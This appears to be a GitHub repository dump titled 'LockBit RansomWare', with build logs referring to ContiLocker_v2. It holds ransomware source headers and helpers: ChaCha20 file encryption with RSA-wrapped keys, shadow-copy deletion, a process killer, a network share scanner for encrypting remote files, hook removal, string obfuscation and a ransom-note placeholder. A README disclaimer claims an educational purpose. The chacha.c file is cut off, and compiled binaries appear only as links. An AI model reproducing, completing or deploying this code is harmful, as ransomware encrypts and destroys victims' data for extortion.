├── Release ├── R3ADM3.txt ├── decryptor.exe ├── decryptor.iobj ├── decryptor.ipdb └── decryptor.pdb ├── locker ├── ntdll.h ├── GetApi.h ├── MetaString.h ├── Debug │ ├── vc142.idb │ ├── vc142.pdb │ ├── locker.log │ └── locker.Build.CppClean.log ├── Release │ ├── vc140.pdb │ ├── locker.Build.CppClean.log │ └── locker.log ├── antihook │ └── antihooks.h ├── hash.h ├── logs.h ├── locker.vcxproj.user ├── memory.h ├── process_killer.h ├── common.h ├── network_scanner.h ├── global_parameters.h ├── filesystem.h ├── chacha20 │ ├── chacha.h │ ├── ecrypt-machine.h │ ├── ecrypt-config.h │ ├── chacha.c │ ├── ecrypt-portable.h │ └── ecrypt-sync.h ├── locker.h ├── threadpool.h ├── MetaRandom2.h ├── locker.vcxproj.filters ├── locker.vcxproj ├── queue.h └── api.h ├── Debug ├── decryptor.exe ├── decryptor.ilk └── decryptor.pdb ├── decryptor ├── decryptor.exe ├── decryptor.ilk └── decryptor.pdb ├── README.md ├── .gitignore └── LICENSE /Release/R3ADM3.txt: -------------------------------------------------------------------------------- 1 | __DECRYPT_NOTE__ -------------------------------------------------------------------------------- /locker/ntdll.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/locker/ntdll.h -------------------------------------------------------------------------------- /locker/GetApi.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/locker/GetApi.h -------------------------------------------------------------------------------- /Debug/decryptor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/Debug/decryptor.exe -------------------------------------------------------------------------------- /Debug/decryptor.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/Debug/decryptor.ilk -------------------------------------------------------------------------------- /Debug/decryptor.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/Debug/decryptor.pdb -------------------------------------------------------------------------------- /locker/MetaString.h: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/locker/MetaString.h -------------------------------------------------------------------------------- /Release/decryptor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/Release/decryptor.exe -------------------------------------------------------------------------------- /Release/decryptor.iobj: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/Release/decryptor.iobj -------------------------------------------------------------------------------- /Release/decryptor.ipdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/Release/decryptor.ipdb -------------------------------------------------------------------------------- /Release/decryptor.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/Release/decryptor.pdb -------------------------------------------------------------------------------- /locker/Debug/vc142.idb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/locker/Debug/vc142.idb -------------------------------------------------------------------------------- /locker/Debug/vc142.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/locker/Debug/vc142.pdb -------------------------------------------------------------------------------- /decryptor/decryptor.exe: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/decryptor/decryptor.exe -------------------------------------------------------------------------------- /decryptor/decryptor.ilk: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/decryptor/decryptor.ilk -------------------------------------------------------------------------------- /decryptor/decryptor.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/decryptor/decryptor.pdb -------------------------------------------------------------------------------- /locker/Release/vc140.pdb: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Zzutiky666/LockBit/HEAD/locker/Release/vc140.pdb -------------------------------------------------------------------------------- /locker/antihook/antihooks.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | 4 | VOID removeHooks(HMODULE hmodule); -------------------------------------------------------------------------------- /locker/hash.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | unsigned int MurmurHash2A(const void* key, int len, unsigned int seed); -------------------------------------------------------------------------------- /locker/logs.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | #include "api.h" 4 | 5 | namespace logs { 6 | 7 | VOID Init(); 8 | VOID Write(LPCWSTR Format, ...); 9 | 10 | } -------------------------------------------------------------------------------- /locker/locker.vcxproj.user: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /locker/memory.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | 4 | namespace memory { 5 | 6 | LPVOID Alloc(SIZE_T Size); 7 | VOID Free(LPVOID Memory); 8 | VOID Copy(PVOID pDst, CONST PVOID pSrc, size_t size); 9 | 10 | } -------------------------------------------------------------------------------- /locker/process_killer.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | #include "queue.h" 4 | 5 | namespace process_killer { 6 | 7 | typedef struct pid_ { 8 | 9 | DWORD dwProcessId; 10 | TAILQ_ENTRY(pid_) Entries; 11 | 12 | } PID, *PPID; 13 | 14 | typedef TAILQ_HEAD(, pid_) PID_LIST, * PPID_LIST; 15 | 16 | VOID KillAll(PPID_LIST PidList); 17 | VOID GetWhiteListProcess(PPID_LIST PidList); 18 | 19 | } -------------------------------------------------------------------------------- /locker/common.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include 3 | #include 4 | #include 5 | #include "MetaString.h" 6 | 7 | //#define DEBUG 8 | #define STATIC static 9 | 10 | inline PVOID m_malloc(SIZE_T Size) 11 | { 12 | PVOID buf = malloc(Size); 13 | if (buf) { 14 | memset(buf, 0, Size); 15 | } 16 | 17 | return buf; 18 | } 19 | 20 | inline VOID m_free(PVOID Memory) 21 | { 22 | free(Memory); 23 | } 24 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ![azd](https://cyware-ent.s3.amazonaws.com/image_bank/a777_Ransomware_blog12-01.jpg) 2 | 3 | ## LockBit RansomWare 👑 4 | 5 | ## ⚠️ 〢 DISCLAIMER 6 | This project can only be used for educational purposes. Using this software against target systems without prior permission is illegal, and any damages from misuse of this software will not be the responsibility of the author. 7 | 8 | # Like this project? Feel free to leave a star 🌟 9 | -------------------------------------------------------------------------------- /locker/Debug/locker.log: -------------------------------------------------------------------------------- 1 | cl : командная строка warning D9014: недопустимое значение "2440" для "/wd"; использование "5999" 2 | main.cpp 3 | c:\source\ContiLocker_v2\locker\main.cpp(170,39): warning C4244: аргумент: преобразование "LONGLONG" в "SIZE_T", возможна потеря данных 4 | c:\source\ContiLocker_v2\locker\main.cpp(180,54): warning C4244: аргумент: преобразование "LONGLONG" в "DWORD", возможна потеря данных 5 | locker.vcxproj -> c:\source\ContiLocker_v2\Debug\locker.exe 6 | -------------------------------------------------------------------------------- /locker/network_scanner.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | #include "queue.h" 4 | 5 | namespace network_scanner { 6 | 7 | 8 | typedef struct share_info_ { 9 | 10 | WCHAR wszSharePath[16000]; 11 | TAILQ_ENTRY(share_info_) Entries; 12 | 13 | } SHARE_INFO, * PSHARE_INFO; 14 | 15 | 16 | typedef TAILQ_HEAD(share_list_, share_info_) SHARE_LIST, * PSHARE_LIST; 17 | 18 | VOID StartScan(); 19 | VOID EnumShares(PWCHAR pwszIpAddress, PSHARE_LIST ShareList); 20 | }; -------------------------------------------------------------------------------- /locker/global_parameters.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | 4 | enum EncryptModes { 5 | 6 | ALL_ENCRYPT = 10, 7 | LOCAL_ENCRYPT = 11, 8 | NETWORK_ENCRYPT = 12, 9 | BACKUPS_ENCRYPT = 13 10 | 11 | }; 12 | 13 | 14 | namespace global { 15 | 16 | PWCHAR GetExtention(); 17 | PCHAR GetDecryptNote(PDWORD pdwDecryptNote); 18 | PCHAR GetMutexName(); 19 | VOID SetEncryptMode(INT EncryptMode); 20 | INT GetEncryptMode(); 21 | VOID SetProcKiller(BOOL IsEnabled); 22 | BOOL GetProcKiller(); 23 | 24 | } -------------------------------------------------------------------------------- /locker/filesystem.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | #include "queue.h" 4 | #include "memory.h" 5 | 6 | namespace filesystem { 7 | 8 | typedef struct drive_info_ { 9 | 10 | std::wstring RootPath; 11 | TAILQ_ENTRY(drive_info_) Entries; 12 | 13 | } DRIVE_INFO, *PDRIVE_INFO; 14 | 15 | typedef TAILQ_HEAD(drive_list_, drive_info_) DRIVE_LIST, * PDRIVE_LIST; 16 | 17 | INT EnumirateDrives(PDRIVE_LIST DriveList); 18 | VOID SearchFiles(std::wstring StartDirectory, INT ThreadPoolID); 19 | DWORD WINAPI StartLocalSearch(PVOID pArg); 20 | 21 | } -------------------------------------------------------------------------------- /locker/chacha20/chacha.h: -------------------------------------------------------------------------------- 1 | #ifndef CHACHA_H 2 | #define CHACHA_H 3 | 4 | #ifdef __cplusplus 5 | 6 | extern "C" { 7 | 8 | #endif 9 | 10 | #include 11 | 12 | #define CHACHA_BLOCKLENGTH 64 13 | 14 | typedef struct { 15 | uint32_t input[16]; 16 | } chacha_ctx; 17 | 18 | void chacha_keysetup(chacha_ctx*, const uint8_t* k, uint32_t kbits); 19 | void chacha_ivsetup(chacha_ctx*, const uint8_t* iv); 20 | void chacha_encrypt(chacha_ctx*, const uint8_t* m, uint8_t* c, uint32_t bytes); 21 | 22 | #ifdef __cplusplus 23 | 24 | } 25 | #endif 26 | 27 | #endif /* CHACHA_H */ -------------------------------------------------------------------------------- /locker/locker.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | #include "chacha20/ecrypt-sync.h" 4 | #include "queue.h" 5 | #include "process_killer.h" 6 | 7 | namespace locker { 8 | 9 | typedef struct file_info { 10 | 11 | LPCWSTR Filename; 12 | HANDLE FileHandle; 13 | LONGLONG FileSize; 14 | ECRYPT_ctx CryptCtx; 15 | BYTE ChachaIV[8]; 16 | BYTE ChachaKey[32]; 17 | BYTE EncryptedKey[524]; 18 | 19 | } FILE_INFO, * LPFILE_INFO; 20 | 21 | typedef TAILQ_HEAD(file_list, file_info) FILE_LIST, * PFILE_LIST; 22 | 23 | BOOL Encrypt( 24 | __in LPFILE_INFO FileInfo, 25 | __in LPBYTE Buffer, 26 | __in HCRYPTPROV CryptoProvider, 27 | __in HCRYPTKEY PublicKey 28 | ); 29 | 30 | BOOL Destroy( 31 | __in LPFILE_INFO FileInfo, 32 | __in LPBYTE Buffer 33 | ); 34 | 35 | BOOL ChangeFileName(__in LPCWSTR OldName); 36 | VOID CloseFile(__in locker::LPFILE_INFO FileInfo); 37 | VOID SetWhiteListProcess(process_killer::PPID_LIST PidList); 38 | BOOL DeleteShadowCopies(); 39 | 40 | }; -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # http://www.gnu.org/software/automake 2 | 3 | Makefile.in 4 | /ar-lib 5 | /mdate-sh 6 | /py-compile 7 | /test-driver 8 | /ylwrap 9 | .deps/ 10 | .dirstamp 11 | 12 | # http://www.gnu.org/software/autoconf 13 | 14 | autom4te.cache 15 | /autoscan.log 16 | /autoscan-*.log 17 | /aclocal.m4 18 | /compile 19 | /config.cache 20 | /config.guess 21 | /config.h.in 22 | /config.log 23 | /config.status 24 | /config.sub 25 | /configure 26 | /configure.scan 27 | /depcomp 28 | /install-sh 29 | /missing 30 | /stamp-h1 31 | 32 | # https://www.gnu.org/software/libtool/ 33 | 34 | /ltmain.sh 35 | 36 | # http://www.gnu.org/software/texinfo 37 | 38 | /texinfo.tex 39 | 40 | # http://www.gnu.org/software/m4/ 41 | 42 | m4/libtool.m4 43 | m4/ltoptions.m4 44 | m4/ltsugar.m4 45 | m4/ltversion.m4 46 | m4/lt~obsolete.m4 47 | 48 | # Generated Makefile 49 | # (meta build system like autotools, 50 | # can automatically generate from config.status script 51 | # (which is called by configure script)) 52 | Makefile 53 | -------------------------------------------------------------------------------- /locker/threadpool.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | #include "common.h" 3 | #include "queue.h" 4 | 5 | #define STOP_MARKER L"stopmarker" 6 | CONST DWORD BufferSize = 5242880; 7 | #define MAX_TASKS 15000 8 | 9 | namespace threadpool { 10 | 11 | enum THREADPOOLS { 12 | 13 | LOCAL_THREADPOOL, 14 | NETWORK_THREADPOOL, 15 | BACKUPS_THREADPOOL 16 | 17 | }; 18 | 19 | typedef TAILQ_HEAD(task_list_, task_info_) TASK_LIST, * PTASK_LIST; 20 | 21 | typedef struct task_info_ { 22 | 23 | std::wstring FileName; 24 | TAILQ_ENTRY(task_info_) Entries; 25 | 26 | } TASK_INFO, * PTASK_INFO; 27 | 28 | typedef struct threadpool_info_ { 29 | 30 | PHANDLE hThreads; 31 | SIZE_T ThreadsCount; 32 | SIZE_T TasksCount; 33 | CRITICAL_SECTION ThreadPoolCS; 34 | TASK_LIST TaskList; 35 | BOOL IsWaiting; 36 | HANDLE hQueueEvent; 37 | 38 | } THREADPOOL_INFO, * PTHREADPOOL_INFO; 39 | 40 | BOOL Create(INT ThreadPoolId, SIZE_T ThreadsCount); 41 | BOOL Start(INT ThreadPoolId); 42 | VOID Wait(INT ThreadPoolId); 43 | VOID Delete(INT ThreadPoolId); 44 | VOID SuspendThread(INT ThreadPoolId); 45 | INT PutTask(INT ThreadPoolId, std::wstring Filename); 46 | 47 | }; -------------------------------------------------------------------------------- /locker/MetaRandom2.h: -------------------------------------------------------------------------------- 1 | #ifndef META_RANDOM_H 2 | #define META_RANDOM_H 3 | 4 | #include 5 | 6 | //namespace andrivet { namespace ADVobfuscator { 7 | //} } 8 | 9 | 10 | constexpr int RandomSeed(void) 11 | { 12 | return '0' * -40271 + // offset accounting for digits' ANSI offsets 13 | __TIME__[7] * 1 + 14 | __TIME__[6] * 10 + 15 | __TIME__[4] * 60 + 16 | __TIME__[3] * 600 + 17 | __TIME__[1] * 3600 + 18 | __TIME__[0] * 36000; 19 | }; 20 | 21 | template 22 | struct LinearCongruentialEngine 23 | { 24 | enum 25 | { 26 | value = (a * LinearCongruentialEngine::value + c) % Limit 27 | }; 28 | }; 29 | 30 | template 31 | struct LinearCongruentialEngine 32 | { 33 | enum 34 | { 35 | value = (a * seed) % Limit 36 | }; 37 | }; 38 | 39 | template 40 | struct MetaRandom2 41 | { 42 | enum 43 | { 44 | value = LinearCongruentialEngine<16807, N, RandomSeed(), Limit>::value 45 | }; 46 | }; 47 | 48 | #endif // META_RANDOM_H -------------------------------------------------------------------------------- /locker/chacha20/ecrypt-machine.h: -------------------------------------------------------------------------------- 1 | /* ecrypt-machine.h */ 2 | 3 | /* 4 | * This file is included by 'ecrypt-portable.h'. It allows to override 5 | * the default macros for specific platforms. Please carefully check 6 | * the machine code generated by your compiler (with optimisations 7 | * turned on) before deciding to edit this file. 8 | */ 9 | 10 | /* ------------------------------------------------------------------------- */ 11 | 12 | #if (defined(ECRYPT_DEFAULT_ROT) && !defined(ECRYPT_MACHINE_ROT)) 13 | 14 | #define ECRYPT_MACHINE_ROT 15 | 16 | #if (defined(WIN32) && defined(_MSC_VER)) 17 | 18 | #undef ROTL32 19 | #undef ROTR32 20 | #undef ROTL64 21 | #undef ROTR64 22 | 23 | #include 24 | 25 | #define ROTL32(v, n) _lrotl(v, n) 26 | #define ROTR32(v, n) _lrotr(v, n) 27 | #define ROTL64(v, n) _rotl64(v, n) 28 | #define ROTR64(v, n) _rotr64(v, n) 29 | 30 | #endif 31 | 32 | #endif 33 | 34 | /* ------------------------------------------------------------------------- */ 35 | 36 | #if (defined(ECRYPT_DEFAULT_SWAP) && !defined(ECRYPT_MACHINE_SWAP)) 37 | 38 | #define ECRYPT_MACHINE_SWAP 39 | 40 | /* 41 | * If you want to overwrite the default swap macros, put it here. And so on. 42 | */ 43 | 44 | #endif 45 | 46 | /* ------------------------------------------------------------------------- */ -------------------------------------------------------------------------------- /locker/Release/locker.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | c:\source\contilocker_v2\locker\release\vc140.pdb 2 | c:\source\contilocker_v2\locker\release\threadpool.obj 3 | c:\source\contilocker_v2\locker\release\search.obj 4 | c:\source\contilocker_v2\locker\release\process_killer.obj 5 | c:\source\contilocker_v2\locker\release\network_scanner.obj 6 | c:\source\contilocker_v2\locker\release\memory.obj 7 | c:\source\contilocker_v2\locker\release\main.obj 8 | c:\source\contilocker_v2\locker\release\logs.obj 9 | c:\source\contilocker_v2\locker\release\locker.obj 10 | c:\source\contilocker_v2\locker\release\hash.obj 11 | c:\source\contilocker_v2\locker\release\global_parameters.obj 12 | c:\source\contilocker_v2\locker\release\disks.obj 13 | c:\source\contilocker_v2\locker\release\api.obj 14 | c:\source\contilocker_v2\locker\release\antihooks.obj 15 | c:\source\contilocker_v2\locker\release\chacha.obj 16 | c:\source\contilocker_v2\release\locker.exe 17 | c:\source\contilocker_v2\release\locker.ipdb 18 | c:\source\contilocker_v2\release\locker.iobj 19 | c:\source\contilocker_v2\locker\release\locker.tlog\cl.command.1.tlog 20 | c:\source\contilocker_v2\locker\release\locker.tlog\cl.read.1.tlog 21 | c:\source\contilocker_v2\locker\release\locker.tlog\cl.write.1.tlog 22 | c:\source\contilocker_v2\locker\release\locker.tlog\link.command.1.tlog 23 | c:\source\contilocker_v2\locker\release\locker.tlog\link.read.1.tlog 24 | c:\source\contilocker_v2\locker\release\locker.tlog\link.write.1.tlog 25 | -------------------------------------------------------------------------------- /locker/Debug/locker.Build.CppClean.log: -------------------------------------------------------------------------------- 1 | c:\source\contilocker_v2\locker\debug\vc142.pdb 2 | c:\source\contilocker_v2\locker\debug\vc142.idb 3 | c:\source\contilocker_v2\locker\debug\threadpool.obj 4 | c:\source\contilocker_v2\locker\debug\search.obj 5 | c:\source\contilocker_v2\locker\debug\network_scanner.obj 6 | c:\source\contilocker_v2\locker\debug\memory.obj 7 | c:\source\contilocker_v2\locker\debug\main.obj 8 | c:\source\contilocker_v2\locker\debug\logs.obj 9 | c:\source\contilocker_v2\locker\debug\locker.obj 10 | c:\source\contilocker_v2\locker\debug\hash.obj 11 | c:\source\contilocker_v2\locker\debug\global_parameters.obj 12 | c:\source\contilocker_v2\locker\debug\disks.obj 13 | c:\source\contilocker_v2\locker\debug\api.obj 14 | c:\source\contilocker_v2\locker\debug\antihooks.obj 15 | c:\source\contilocker_v2\locker\debug\vc140.pdb 16 | c:\source\contilocker_v2\locker\debug\vc140.idb 17 | c:\source\contilocker_v2\locker\debug\chacha.obj 18 | c:\source\contilocker_v2\debug\locker.ilk 19 | c:\source\contilocker_v2\debug\locker.exe 20 | c:\source\contilocker_v2\debug\locker.pdb 21 | c:\source\contilocker_v2\locker\debug\locker.tlog\cl.command.1.tlog 22 | c:\source\contilocker_v2\locker\debug\locker.tlog\cl.read.1.tlog 23 | c:\source\contilocker_v2\locker\debug\locker.tlog\cl.write.1.tlog 24 | c:\source\contilocker_v2\locker\debug\locker.tlog\link.command.1.tlog 25 | c:\source\contilocker_v2\locker\debug\locker.tlog\link.read.1.tlog 26 | c:\source\contilocker_v2\locker\debug\locker.tlog\link.write.1.tlog 27 | -------------------------------------------------------------------------------- /locker/chacha20/ecrypt-config.h: -------------------------------------------------------------------------------- 1 | /* ecrypt-config.h */ 2 | 3 | /* *** Normally, it should not be necessary to edit this file. *** */ 4 | 5 | #ifndef ECRYPT_CONFIG 6 | #define ECRYPT_CONFIG 7 | 8 | /* ------------------------------------------------------------------------- */ 9 | 10 | /* Guess the endianness of the target architecture. */ 11 | 12 | /* 13 | * The LITTLE endian machines: 14 | */ 15 | #if defined(__ultrix) /* Older MIPS */ 16 | #define ECRYPT_LITTLE_ENDIAN 17 | #elif defined(__alpha) /* Alpha */ 18 | #define ECRYPT_LITTLE_ENDIAN 19 | #elif defined(i386) /* x86 (gcc) */ 20 | #define ECRYPT_LITTLE_ENDIAN 21 | #elif defined(__i386) /* x86 (gcc) */ 22 | #define ECRYPT_LITTLE_ENDIAN 23 | #elif defined(_M_IX86) /* x86 (MSC, Borland) */ 24 | #define ECRYPT_LITTLE_ENDIAN 25 | #elif defined(_MSC_VER) /* x86 (surely MSC) */ 26 | #define ECRYPT_LITTLE_ENDIAN 27 | #elif defined(__INTEL_COMPILER) /* x86 (surely Intel compiler icl.exe) */ 28 | #define ECRYPT_LITTLE_ENDIAN 29 | 30 | /* 31 | * The BIG endian machines: 32 | */ 33 | #elif defined(sun) /* Newer Sparc's */ 34 | #define ECRYPT_BIG_ENDIAN 35 | #elif defined(__ppc__) /* PowerPC */ 36 | #define ECRYPT_BIG_ENDIAN 37 | 38 | /* 39 | * Finally machines with UNKNOWN endianness: 40 | */ 41 | #elif defined (_AIX) /* RS6000 */ 42 | #define ECRYPT_UNKNOWN 43 | #elif defined(__hpux) /* HP-PA */ 44 | #define ECRYPT_UNKNOWN 45 | #elif defined(__aux) /* 68K */ 46 | #define ECRYPT_UNKNOWN 47 | #elif defined(__dgux) /* 88K (but P6 in latest boxes) */ 48 | #define ECRYPT_UNKNOWN 49 | #elif defined(__sgi) /* Newer MIPS */ 50 | #define ECRYPT_UNKNOWN 51 | #else /* Any other processor */ 52 | #define ECRYPT_UNKNOWN 53 | #endif 54 | 55 | /* ------------------------------------------------------------------------- */ 56 | 57 | /* 58 | * Find minimal-width types to store 8-bit, 16-bit, 32-bit, and 64-bit 59 | * integers. 60 | * 61 | * Note: to enable 64-bit types on 32-bit compilers, it might be 62 | * necessary to switch from ISO C90 mode to ISO C99 mode (e.g., gcc 63 | * -std=c99). 64 | */ 65 | 66 | #include 67 | 68 | /* --- check char --- */ 69 | 70 | #if (UCHAR_MAX / 0xFU > 0xFU) 71 | #ifndef I8T 72 | #define I8T char 73 | #define U8C(v) (v##U) 74 | 75 | #if (UCHAR_MAX == 0xFFU) 76 | #define ECRYPT_I8T_IS_BYTE 77 | #endif 78 | 79 | #endif 80 | 81 | #if (UCHAR_MAX / 0xFFU > 0xFFU) 82 | #ifndef I16T 83 | #define I16T char 84 | #define U16C(v) (v##U) 85 | #endif 86 | 87 | #if (UCHAR_MAX / 0xFFFFU > 0xFFFFU) 88 | #ifndef I32T 89 | #define I32T char 90 | #define U32C(v) (v##U) 91 | #endif 92 | 93 | #if (UCHAR_MAX / 0xFFFFFFFFU > 0xFFFFFFFFU) 94 | #ifndef I64T 95 | #define I64T char 96 | #define U64C(v) (v##U) 97 | #define ECRYPT_NATIVE64 98 | #endif 99 | 100 | #endif 101 | #endif 102 | #endif 103 | #endif 104 | 105 | /* --- check short --- */ 106 | 107 | #if (USHRT_MAX / 0xFU > 0xFU) 108 | #ifndef I8T 109 | #define I8T short 110 | #define U8C(v) (v##U) 111 | 112 | #if (USHRT_MAX == 0xFFU) 113 | #define ECRYPT_I8T_IS_BYTE 114 | #endif 115 | 116 | #endif 117 | 118 | #if (USHRT_MAX / 0xFFU > 0xFFU) 119 | #ifndef I16T 120 | #define I16T short 121 | #define U16C(v) (v##U) 122 | #endif 123 | 124 | #if (USHRT_MAX / 0xFFFFU > 0xFFFFU) 125 | #ifndef I32T 126 | #define I32T short 127 | #define U32C(v) (v##U) 128 | #endif 129 | 130 | #if (USHRT_MAX / 0xFFFFFFFFU > 0xFFFFFFFFU) 131 | #ifndef I64T 132 | #define I64T short 133 | #define U64C(v) (v##U) 134 | #define ECRYPT_NATIVE64 135 | #endif 136 | 137 | #endif 138 | #endif 139 | #endif 140 | #endif 141 | 142 | /* --- check int --- */ 143 | 144 | #if (UINT_MAX / 0xFU > 0xFU) 145 | #ifndef I8T 146 | #define I8T int 147 | #define U8C(v) (v##U) 148 | 149 | #if (ULONG_MAX == 0xFFU) 150 | #define ECRYPT_I8T_IS_BYTE 151 | #endif 152 | 153 | #endif 154 | 155 | #if (UINT_MAX / 0xFFU > 0xFFU) 156 | #ifndef I16T 157 | #define I16T int 158 | #define U16C(v) (v##U) 159 | #endif 160 | 161 | #if (UINT_MAX / 0xFFFFU > 0xFFFFU) 162 | #ifndef I32T 163 | #define I32T int 164 | #define U32C(v) (v##U) 165 | #endif 166 | 167 | #if (UINT_MAX / 0xFFFFFFFFU > 0xFFFFFFFFU) 168 | #ifndef I64T 169 | #define I64T int 170 | #define U64C(v) (v##U) 171 | #define ECRYPT_NATIVE64 172 | #endif 173 | 174 | #endif 175 | #endif 176 | #endif 177 | #endif 178 | 179 | /* --- check long --- */ 180 | 181 | #if (ULONG_MAX / 0xFUL > 0xFUL) 182 | #ifndef I8T 183 | #define I8T long 184 | #define U8C(v) (v##UL) 185 | 186 | #if (ULONG_MAX == 0xFFUL) 187 | #define ECRYPT_I8T_IS_BYTE 188 | #endif 189 | 190 | #endif 191 | 192 | #if (ULONG_MAX / 0xFFUL > 0xFFUL) 193 | #ifndef I16T 194 | #define I16T long 195 | #define U16C(v) (v##UL) 196 | #endif 197 | 198 | #if (ULONG_MAX / 0xFFFFUL > 0xFFFFUL) 199 | #ifndef I32T 200 | #define I32T long 201 | #define U32C(v) (v##UL) 202 | #endif 203 | 204 | #if (ULONG_MAX / 0xFFFFFFFFUL > 0xFFFFFFFFUL) 205 | #ifndef I64T 206 | #define I64T long 207 | #define U64C(v) (v##UL) 208 | #define ECRYPT_NATIVE64 209 | #endif 210 | 211 | #endif 212 | #endif 213 | #endif 214 | #endif 215 | 216 | /* --- check long long --- */ 217 | 218 | #ifdef ULLONG_MAX 219 | 220 | #if (ULLONG_MAX / 0xFULL > 0xFULL) 221 | #ifndef I8T 222 | #define I8T long long 223 | #define U8C(v) (v##ULL) 224 | 225 | #if (ULLONG_MAX == 0xFFULL) 226 | #define ECRYPT_I8T_IS_BYTE 227 | #endif 228 | 229 | #endif 230 | 231 | #if (ULLONG_MAX / 0xFFULL > 0xFFULL) 232 | #ifndef I16T 233 | #define I16T long long 234 | #define U16C(v) (v##ULL) 235 | #endif 236 | 237 | #if (ULLONG_MAX / 0xFFFFULL > 0xFFFFULL) 238 | #ifndef I32T 239 | #define I32T long long 240 | #define U32C(v) (v##ULL) 241 | #endif 242 | 243 | #if (ULLONG_MAX / 0xFFFFFFFFULL > 0xFFFFFFFFULL) 244 | #ifndef I64T 245 | #define I64T long long 246 | #define U64C(v) (v##ULL) 247 | #endif 248 | 249 | #endif 250 | #endif 251 | #endif 252 | #endif 253 | 254 | #endif 255 | 256 | /* --- check __int64 --- */ 257 | 258 | #ifdef _UI64_MAX 259 | 260 | #if (_UI64_MAX / 0xFFFFFFFFui64 > 0xFFFFFFFFui64) 261 | #ifndef I64T 262 | #define I64T __int64 263 | #define U64C(v) (v##ui64) 264 | #endif 265 | 266 | #endif 267 | 268 | #endif 269 | 270 | /* ------------------------------------------------------------------------- */ 271 | 272 | #endif -------------------------------------------------------------------------------- /locker/chacha20/chacha.c: -------------------------------------------------------------------------------- 1 | /* 2 | chacha-merged.c version 20080118 3 | D. J. Bernstein 4 | Public domain. 5 | */ 6 | 7 | #include "ecrypt-sync.h" 8 | 9 | #define ROTATE(v,c) (ROTL32(v,c)) 10 | #define XOR(v,w) ((v) ^ (w)) 11 | #define PLUS(v,w) (U32V((v) + (w))) 12 | #define PLUSONE(v) (PLUS((v),1)) 13 | 14 | #define QUARTERROUND(a,b,c,d) \ 15 | a = PLUS(a,b); d = ROTATE(XOR(d,a),16); \ 16 | c = PLUS(c,d); b = ROTATE(XOR(b,c),12); \ 17 | a = PLUS(a,b); d = ROTATE(XOR(d,a), 8); \ 18 | c = PLUS(c,d); b = ROTATE(XOR(b,c), 7); 19 | 20 | void ECRYPT_init(void) 21 | { 22 | return; 23 | } 24 | 25 | static const char sigma[16] = "expand 32-byte k"; 26 | static const char tau[16] = "expand 16-byte k"; 27 | 28 | void ECRYPT_keysetup(ECRYPT_ctx* x, const u8* k, u32 kbits, u32 ivbits) 29 | { 30 | const char* constants; 31 | 32 | x->input[4] = U8TO32_LITTLE(k + 0); 33 | x->input[5] = U8TO32_LITTLE(k + 4); 34 | x->input[6] = U8TO32_LITTLE(k + 8); 35 | x->input[7] = U8TO32_LITTLE(k + 12); 36 | if (kbits == 256) { /* recommended */ 37 | k += 16; 38 | constants = sigma; 39 | } 40 | else { /* kbits == 128 */ 41 | constants = tau; 42 | } 43 | x->input[8] = U8TO32_LITTLE(k + 0); 44 | x->input[9] = U8TO32_LITTLE(k + 4); 45 | x->input[10] = U8TO32_LITTLE(k + 8); 46 | x->input[11] = U8TO32_LITTLE(k + 12); 47 | x->input[0] = U8TO32_LITTLE(constants + 0); 48 | x->input[1] = U8TO32_LITTLE(constants + 4); 49 | x->input[2] = U8TO32_LITTLE(constants + 8); 50 | x->input[3] = U8TO32_LITTLE(constants + 12); 51 | } 52 | 53 | void ECRYPT_ivsetup(ECRYPT_ctx* x, const u8* iv) 54 | { 55 | x->input[12] = 0; 56 | x->input[13] = 0; 57 | x->input[14] = U8TO32_LITTLE(iv + 0); 58 | x->input[15] = U8TO32_LITTLE(iv + 4); 59 | } 60 | 61 | void ECRYPT_encrypt_bytes(ECRYPT_ctx* x, const u8* m, u8* c, u32 bytes) 62 | { 63 | u32 x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15; 64 | u32 j0, j1, j2, j3, j4, j5, j6, j7, j8, j9, j10, j11, j12, j13, j14, j15; 65 | u8* ctarget = 0; 66 | u8 tmp[64]; 67 | int i; 68 | 69 | if (!bytes) return; 70 | 71 | j0 = x->input[0]; 72 | j1 = x->input[1]; 73 | j2 = x->input[2]; 74 | j3 = 